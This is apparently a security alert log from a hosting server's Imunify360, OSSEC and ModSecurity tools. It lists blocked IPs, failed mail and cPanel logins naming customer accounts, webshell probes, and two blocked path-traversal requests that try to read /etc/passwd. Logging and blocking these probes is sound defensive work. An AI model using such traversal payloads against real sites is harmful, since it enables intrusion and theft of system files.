Jan 21 11:51:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 11:52:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.177.148.203
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/css-selector/XPath/XPathExpr.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.41
country_id: 2921044
description:
Jan 21 11:54:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.213.202.35
country_id: 6252001
description:
2026-01-21 11:57:47 dovecot_login authenticator failed for H=(localhost) [188.213.202.35]:35520: 535 Incorrect authentication data (set_id=info@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.213.202.35
country_id: 6252001
description:
2026-01-21 11:58:17 dovecot_login authenticator failed for H=(localhost) [188.213.202.35]:57560: 535 Incorrect authentication data (set_id=info@af-sb.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
Jan 21 11:58:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 12:00:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.184.158.103
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/training-details.php?id=872936 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 12:02:26 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:12193: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 12:02:59 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:12194: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 216.172.129.216
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:12-02.216.172.129.216||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 12:04:26 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:20864: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.138.244.121
country_id: 1733045
description:
[2026-01-21 12:05:24 +0800] info [webmaild] 175.138.244.121 - payment@tujusetia.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 12:04:59 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:20865: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 137.184.16.88
country_id: 6252001
description:
2026-01-21 12:05:01 468140 [Warning] Aborted connection 468140 to db: 'unconnected' user: 'unauthenticated' host: '137.184.16.88' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.55.77
country_id: 953987
description:
Jan 21 12:05:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.55.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 12:06:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:12196: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.21.76.244
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=71741516782353 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 12:07:40 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:20868: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 12:08:49 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:12197: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.208.156.158
country_id: 241170
description:
Jan 21 12:08:13 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.208.156.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.208.156.158
country_id: 241170
description:
2026-01-21 12:08:15 dovecot_login authenticator failed for H=(ADMIN) [185.208.156.158]:51898: 535 Incorrect authentication data (set_id=jasinpack@jpack.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 12:08:15 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:20869: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 12:09:06 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:12198: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.7.89
country_id: 2395170
description:
Jan 21 12:09:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.7.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.203.47.134
country_id: 2623032
description:
Jan 21 12:09:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.203.47.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.203.47.134
country_id: 2623032
description:
2026-01-21 12:09:16 dovecot_login authenticator failed for H=(localhost) [85.203.47.134]:29169: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.190.187.53
country_id: 3996063
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=42361514874700 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.7.89
country_id: 2395170
description:
Jan 21 12:09:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.7.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.203.47.134
country_id: 2623032
description:
Jan 21 12:10:10 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.203.47.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.203.47.134
country_id: 2623032
description:
2026-01-21 12:10:12 dovecot_login authenticator failed for H=(localhost) [85.203.47.134]:8248: 535 Incorrect authentication data (set_id=info@stillman.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-21 12:10:28 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 12:10:51 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:20872: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-21 12:11:08 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.212.102
country_id: 6252001
description:
[2026-01-21 12:11:25 +0800] info [webmaild] 146.70.212.102 - steven@oxbold.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 12:10:57 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:20872: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 212.18.113.149
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:12-12.212.18.113.149||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 12:11:59 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:12200: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.144.229.115
country_id: 1733045
description:
[2026-01-21 12:12:25 +0800] info [webmaild] 175.144.229.115 - accounts@evergrown.com.my "GET /cpsess6892378578/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 12:13:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.94.110.242
country_id: 6290252
description:
[2026-01-21 12:13:56 +0800] info [webmaild] 172.94.110.242 - payment@tujusetia.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-21 12:14:13 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 109.69.109.53
country_id: 2635167
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:12-14.109.69.109.53||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 12:14:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:50285: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.20.58.244
country_id: 798544
description:
Jan 21 12:14:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.20.58.244 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 12:14:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:20876: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.195.8.95
country_id: 3469034
description:
Jan 21 12:14:11 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.195.8.95 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/img/photos/img/photos/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.205.82.166
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/kid/18/76/1848718 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-21 12:15:02 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 12:16:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.22
country_id: 241170
description:
Jan 21 12:16:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.176
country_id: 3175395
description:
Jan 21 12:17:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.176 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.176
country_id: 3175395
description:
Jan 21 12:17:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.176 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.255.73.218
country_id: 1269750
description:
Jan 21 12:21:07 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.255.73.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 12:22:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:12202: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 12:23:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.253.138.79
country_id: 1562822
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/bedroomwooden.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 12:24:08 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:20881: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.228.146.184
country_id: 1733045
domain: www.mkmetal.com.my
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.64||T:APACHE||RA:192.228.146.184||TA:192.228.146.184||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.57.226
country_id: 953987
description:
Jan 21 12:27:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.57.226 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.136
country_id: 3469034
description:
Jan 21 12:27:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.136
country_id: 3469034
description:
Jan 21 12:28:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.134
country_id: 798544
description:
Jan 21 12:28:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.134 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.134.142.85
country_id: 6252001
description:
[2026-01-21 12:30:37 +0800] info [webmaild] 45.134.142.85 - chew@nexuscollection.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 21 12:30:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.170
country_id: 3175395
description:
Jan 21 12:30:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.30
country_id: 3175395
description:
Jan 21 12:30:37 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.30 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.103.44.117
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:12-33.146.103.44.117||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.118.80.196
country_id: 3686110
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/g4.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.228.79.179
country_id: 1835841
description:
Jan 21 12:36:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.228.79.179 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.79.179
country_id: 1835841
description:
2026-01-21 12:36:19 dovecot_login authenticator failed for H=([211.228.79.179]) [211.228.79.179]:49630: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.240.163
country_id: 1733045
description:
[2026-01-21 12:37:33 +0800] info [webmaild] 27.125.240.163 - jlpom@ajplantations.com.my "POST /cpsess6123587800/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.240.115] != Current IP Address [27.125.240.163]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 12:37:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.188.175.70
country_id: 3624060
description:
2026-01-21 12:38:27 dovecot_login authenticator failed for H=(localhost) [203.188.175.70]:58523: 535 Incorrect authentication data (set_id=info@visoft.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.234.140.70
country_id: 1861060
description:
2026-01-21 12:39:20 dovecot_login authenticator failed for H=(localhost) [104.234.140.70]:42719: 535 Incorrect authentication data (set_id=info@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 12:40:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:12204: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 12:41:26 H=([45.144.212.242]) [45.144.212.242]:61107 F=<lynnied@mhtc.net> rejected RCPT <sales@wohcheong.com.my>: Unrouteable address


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/malaysia-infinity-design-projects/img/druma_photos/csr.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.72.78.204
country_id: 3469034
description:
Jan 21 12:42:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.72.78.204 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 12:42:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:50450: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 12:42:08 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:20886: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 109.23.13.193
country_id: 3017382
domain: maalloys.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/maalloys.com.my/qa.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.172
country_id: 1880251
domain: maalloys.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/maalloys.com.my/css/main.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.62
country_id: 3469034
description:
Jan 21 12:44:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 112.92.70.131
country_id: 1814991
domain: tst-ma.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:12-45.112.92.70.131||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.40
country_id: 2921044
description:
Jan 21 12:46:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.147
country_id: 3469034
description:
Jan 21 12:46:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 12:46:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77350312
name: IM360 WAF: Block system file path in request
abuser: 45.3.41.17
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Block system file path in request||MVN:ARGS:sub||MV:../../../../../../../../../etc/passwd||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350312
name: IM360 WAF: Block system file path in request
abuser: 209.50.189.122
country_id: 3017382
domain: www.cabe.com.my
description:
IM360 WAF: Block system file path in request||MVN:ARGS:page_id||MV:../../../../../../../../../etc/passwd||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.171.146.7
country_id: 1733045
description:
Jan 21 12:48:37 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.171.146.7 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.146.7
country_id: 1733045
description:
2026-01-21 12:48:39 dovecot_login authenticator failed for H=([183.171.146.7]) [183.171.146.7]:36436: 535 Incorrect authentication data (set_id=jyteh@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 21 12:50:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 21 12:51:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 144.48.110.87
country_id: 1210997
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-foundation/Tests/ParameterBagTest.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.242.2
country_id: 1269750
description:
Jan 21 12:57:21 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.242.2 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.180
country_id: 1880251
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.mckd.com.my/en/js/footer.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.198
country_id: 1880251
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.mckd.com.my/en/js/glide/css/style.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.250
country_id: 2921044
description:
Jan 21 13:00:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.250 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 13:00:20 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.155
country_id: 1880251
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.mckd.com.my/en/js/header.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.202
country_id: 1880251
domain: www.mckd.com.my
description:
